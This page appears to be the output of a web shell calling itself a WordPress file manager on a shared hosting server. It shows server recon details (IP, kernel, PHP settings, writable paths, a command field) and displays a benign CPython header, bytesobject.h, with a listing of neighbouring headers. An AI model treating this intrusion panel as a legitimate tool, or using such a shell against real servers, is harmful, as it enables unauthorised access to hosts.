GRAYBYTE WORDPRESS FILE MANAGER6774

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/alt/python310/include/python3.10/cpython/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/alt/python310/include/python3.10/cpython//bytesobject.h
#ifndef Py_CPYTHON_BYTESOBJECT_H
#  error "this header file must not be included directly"
#endif

typedef struct {
    PyObject_VAR_HEAD
    Py_hash_t ob_shash;
    char ob_sval[1];

    /* Invariants:
     *     ob_sval contains space for 'ob_size+1' elements.
     *     ob_sval[ob_size] == 0.
     *     ob_shash is the hash of the byte string or -1 if not computed yet.
     */
} PyBytesObject;

PyAPI_FUNC(int) _PyBytes_Resize(PyObject **, Py_ssize_t);
PyAPI_FUNC(PyObject*) _PyBytes_FormatEx(
    const char *format,
    Py_ssize_t format_len,
    PyObject *args,
    int use_bytearray);
PyAPI_FUNC(PyObject*) _PyBytes_FromHex(
    PyObject *string,
    int use_bytearray);

/* Helper for PyBytes_DecodeEscape that detects invalid escape chars. */
PyAPI_FUNC(PyObject *) _PyBytes_DecodeEscape(const char *, Py_ssize_t,
                                             const char *, const char **);

/* Macro, trading safety for speed */
#define PyBytes_AS_STRING(op) (assert(PyBytes_Check(op)), \
                                (((PyBytesObject *)(op))->ob_sval))
#define PyBytes_GET_SIZE(op)  (assert(PyBytes_Check(op)),Py_SIZE(op))

/* _PyBytes_Join(sep, x) is like sep.join(x).  sep must be PyBytesObject*,
   x must be an iterable object. */
PyAPI_FUNC(PyObject *) _PyBytes_Join(PyObject *sep, PyObject *x);


/* The _PyBytesWriter structure is big: it contains an embedded "stack buffer".
   A _PyBytesWriter variable must be declared at the end of variables in a
   function to optimize the memory allocation on the stack. */
typedef struct {
    /* bytes, bytearray or NULL (when the small buffer is used) */
    PyObject *buffer;

    /* Number of allocated size. */
    Py_ssize_t allocated;

    /* Minimum number of allocated bytes,
       incremented by _PyBytesWriter_Prepare() */
    Py_ssize_t min_size;

    /* If non-zero, use a bytearray instead of a bytes object for buffer. */
    int use_bytearray;

    /* If non-zero, overallocate the buffer (default: 0).
       This flag must be zero if use_bytearray is non-zero. */
    int overallocate;

    /* Stack buffer */
    int use_small_buffer;
    char small_buffer[512];
} _PyBytesWriter;

/* Initialize a bytes writer

   By default, the overallocation is disabled. Set the overallocate attribute
   to control the allocation of the buffer. */
PyAPI_FUNC(void) _PyBytesWriter_Init(_PyBytesWriter *writer);

/* Get the buffer content and reset the writer.
   Return a bytes object, or a bytearray object if use_bytearray is non-zero.
   Raise an exception and return NULL on error. */
PyAPI_FUNC(PyObject *) _PyBytesWriter_Finish(_PyBytesWriter *writer,
    void *str);

/* Deallocate memory of a writer (clear its internal buffer). */
PyAPI_FUNC(void) _PyBytesWriter_Dealloc(_PyBytesWriter *writer);

/* Allocate the buffer to write size bytes.
   Return the pointer to the beginning of buffer data.
   Raise an exception and return NULL on error. */
PyAPI_FUNC(void*) _PyBytesWriter_Alloc(_PyBytesWriter *writer,
    Py_ssize_t size);

/* Ensure that the buffer is large enough to write *size* bytes.
   Add size to the writer minimum size (min_size attribute).

   str is the current pointer inside the buffer.
   Return the updated current pointer inside the buffer.
   Raise an exception and return NULL on error. */
PyAPI_FUNC(void*) _PyBytesWriter_Prepare(_PyBytesWriter *writer,
    void *str,
    Py_ssize_t size);

/* Resize the buffer to make it larger.
   The new buffer may be larger than size bytes because of overallocation.
   Return the updated current pointer inside the buffer.
   Raise an exception and return NULL on error.

   Note: size must be greater than the number of allocated bytes in the writer.

   This function doesn't use the writer minimum size (min_size attribute).

   See also _PyBytesWriter_Prepare().
   */
PyAPI_FUNC(void*) _PyBytesWriter_Resize(_PyBytesWriter *writer,
    void *str,
    Py_ssize_t size);

/* Write bytes.
   Raise an exception and return NULL on error. */
PyAPI_FUNC(void*) _PyBytesWriter_WriteBytes(_PyBytesWriter *writer,
    void *str,
    const void *bytes,
    Py_ssize_t size);

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 13 2025 08:38:35
root / linksafe
0755
abstract.h
13.725 KB
April 08 2025 12:10:59
root / linksafe
0644
bytearrayobject.h
0.751 KB
April 08 2025 12:10:59
root / linksafe
0644
bytesobject.h
4.022 KB
April 08 2025 12:10:59
root / linksafe
0644
ceval.h
1.434 KB
April 08 2025 12:10:59
root / linksafe
0644
code.h
7.393 KB
April 08 2025 12:10:59
root / linksafe
0644
compile.h
2.166 KB
April 08 2025 12:10:59
root / linksafe
0644
dictobject.h
3.646 KB
April 08 2025 12:10:59
root / linksafe
0644
fileobject.h
0.706 KB
April 08 2025 12:10:59
root / linksafe
0644
fileutils.h
4.167 KB
April 08 2025 12:10:59
root / linksafe
0644
frameobject.h
3.078 KB
April 08 2025 12:10:59
root / linksafe
0644
import.h
1.592 KB
April 08 2025 12:10:59
root / linksafe
0644
initconfig.h
7.419 KB
April 08 2025 12:10:59
root / linksafe
0644
interpreteridobject.h
0.378 KB
April 08 2025 12:10:59
root / linksafe
0644
listobject.h
1.214 KB
April 08 2025 12:10:59
root / linksafe
0644
methodobject.h
1.366 KB
April 08 2025 12:10:59
root / linksafe
0644
object.h
19.153 KB
April 08 2025 12:10:59
root / linksafe
0644
objimpl.h
3.277 KB
April 08 2025 12:10:59
root / linksafe
0644
odictobject.h
1.269 KB
April 08 2025 12:10:59
root / linksafe
0644
picklebufobject.h
0.826 KB
April 08 2025 12:10:59
root / linksafe
0644
pyctype.h
1.354 KB
April 08 2025 12:10:59
root / linksafe
0644
pydebug.h
1.067 KB
April 08 2025 12:10:59
root / linksafe
0644
pyerrors.h
5.348 KB
April 08 2025 12:10:59
root / linksafe
0644
pyfpe.h
0.434 KB
April 08 2025 12:10:59
root / linksafe
0644
pylifecycle.h
2.046 KB
April 08 2025 12:10:59
root / linksafe
0644
pymem.h
3.3 KB
April 08 2025 12:10:59
root / linksafe
0644
pystate.h
11.635 KB
April 08 2025 12:10:59
root / linksafe
0644
pythonrun.h
4.698 KB
April 08 2025 12:10:59
root / linksafe
0644
pytime.h
8.98 KB
April 08 2025 12:10:59
root / linksafe
0644
sysmodule.h
0.494 KB
April 08 2025 12:10:59
root / linksafe
0644
traceback.h
0.395 KB
April 08 2025 12:10:59
root / linksafe
0644
tupleobject.h
0.952 KB
April 08 2025 12:10:59
root / linksafe
0644
unicodeobject.h
43.246 KB
April 08 2025 12:10:59
root / linksafe
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF